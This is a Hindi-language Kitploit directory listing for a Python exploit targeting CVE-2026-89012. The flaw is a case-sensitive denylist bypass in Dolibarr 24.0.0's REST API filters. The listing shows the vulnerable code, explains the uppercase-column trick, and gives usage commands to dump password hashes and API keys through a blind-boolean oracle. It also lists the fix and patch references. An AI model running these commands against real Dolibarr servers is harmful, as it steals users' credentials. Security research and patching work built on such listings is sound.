Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-89012 — CVE-2026-89012 के लिए Python exploit, जो एक Dolibarr SQL filter denylist bypass है जो REST API के माध्यम से password hashes और API keys निकालने के लिए blind-boolean oracle का उपयोग करता है। | Kitploit
उपकरण/GitHubGitHub/faceless0x7/cve-2026-89012
पासवर्ड क्रैकिंगभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंगAPI सुरक्षा
GitHubfaceless0x7/cve-2026-89012

CVE-2026-89012

CVE-2026-89012 के लिए Python exploit, जो एक Dolibarr SQL filter denylist bypass है जो REST API के माध्यम से password hashes और API keys निकालने के लिए blind-boolean oracle का उपयोग करता है।

116घं 8मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-89012 — Dolibarr SQL फ़िल्टर डिनाइलिस्ट बायपास

CVE-2026-89012 के लिए एक्सप्लॉइट: forgeSQLFromUniversalSearchCriteria() में forbidden-fields डिनाइलिस्ट (जो CVE-2026-71510 फ़िक्स के साथ पेश किया गया था) case-sensitive in_array() का उपयोग करता है, जबकि operand charset A-Z की अनुमति देता है। चूँकि SQL column resolution case-insensitive होता है, एक authenticated API उपयोगकर्ता t.pass_crypted के बजाय t.PASS_CRYPTED क्वेरी कर सकता है और डिनाइलिस्ट को बायपास कर सकता है। Prefix LIKE predicates sqlfilters को एक blind-boolean oracle में बदल देते हैं जो password hashes को एक-एक अक्षर करके recover करता है।

रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-89012

प्रभावितDolibarr 24.0.0
फ़िक्स्ड24.0.1
पूर्वापेक्षाएँusers->lire के साथ valid API token
प्रभावpass_crypted, api_key, pass, pass_temp, openid का disclosure

मूल कारण

root@kitploit:~
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) {  // case-sensitive
    return '1=1';
}

उपयोग

root@kitploit:~
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check

# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users

# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump

# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex

केवल standard library (Python 3.8+)। --proxy, --insecure, --timeout का समर्थन करता है।

नोट: case-insensitive collation (डिफ़ॉल्ट) के अंतर्गत bcrypt मान character case तक ठीक-ठीक recover होता है; plaintext columns (llx_adherent.pass via /api/index.php/members, pass_temp) byte-exact recover होते हैं।

demo

संदर्भ

  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-89012
  • फ़िक्स्ड रिलीज़: https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1
  • पैच कमिट: https://github.com/Dolibarr/dolibarr/commit/7a04d9c970e45e15d29c91e6f5a34a262c6c51c8

अस्वीकरण

केवल अधिकृत परीक्षण और शोध के लिए। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।

टूल डाउनलोड करें